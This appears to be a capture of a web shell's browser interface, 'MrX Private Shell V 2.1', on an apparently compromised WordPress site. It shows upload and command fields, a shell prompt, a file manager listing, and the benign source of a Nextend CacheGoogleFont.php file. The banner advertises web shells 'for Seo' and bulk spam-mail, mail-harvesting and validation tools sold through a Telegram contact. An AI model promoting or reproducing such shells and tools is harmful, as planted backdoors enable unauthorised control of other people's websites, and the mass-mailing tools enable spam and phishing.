__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Cache;

use Nextend\Framework\Filesystem\Filesystem;
use Nextend\Framework\Misc\HttpClient;

class CacheGoogleFont extends AbstractCache {

    protected $_storageEngine = 'filesystem';
    private $fontExtension;

    public function __construct() {
        parent::__construct('googlefonts', true);
    }

    /**
     * @param string $url
     *
     * @return boolean|string The path of the cached file
     */
    public function makeCache($url, $extension) {

        $hash = $this->generateHash($url);

        $fileName              = $hash;
        $fileNameWithExtension = $fileName . '.' . $extension;

        $isCached = $this->exists($fileNameWithExtension);

        if ($isCached) {
            if (!$this->testManifestFile($fileName)) {
                $isCached = false;
            }
        }

        if (!$isCached) {

            $cssContent = HttpClient::get($url);

            if (!$cssContent) {
                return false;
            }

            if ($extension === 'css') {
                $fontExtensions = array(
                    'woff2',
                    'ttf'
                );

                foreach ($fontExtensions as $this->fontExtension) {
                    $cssContent = preg_replace_callback('/url\(["\']?(.*?\.' . $this->fontExtension . ')["\']?\)/i', function ($matches) {

                        $url = $matches[1];

                        $cache = new CacheGoogleFont();

                        $path = $cache->makeCache($url, $this->fontExtension);

                        if ($path) {
                            $url = Filesystem::pathToAbsoluteURL($path);
                        }

                        return 'url(' . $url . ')';
                    }, $cssContent);
                }
            }

            $this->set($fileNameWithExtension, $cssContent);

            $this->createManifestFile($fileName);
        }

        return $this->getPath($fileNameWithExtension);
    }

    private function generateHash($url) {
        return md5($url);
    }

    protected function testManifestFile($fileName) {
        $manifestKey = $this->getManifestKey($fileName);
        if ($this->exists($manifestKey)) {

            $manifestData = json_decode($this->get($manifestKey), true);

            if ($manifestData['mtime'] > strtotime('-30 days')) {
                return true;
            }
        }

        return false;
    }

    protected function createManifestFile($fileName) {

        $this->set($this->getManifestKey($fileName), json_encode($this->getManifestData()));
    }

    private function getManifestData() {

        return array(
            'mtime' => time()
        );
    }

    protected function getManifestKey($fileName) {
        return $fileName . '.manifest';
    }
}

Filemanager

Name Type Size Permission Actions
Storage Folder 0775
AbstractCache.php File 2.28 KB 0775
CacheGoogleFont.php File 2.75 KB 0775
CacheImage.php File 3.67 KB 0775
Manifest.php File 2.49 KB 0775
StoreImage.php File 899 B 0775
Filemanager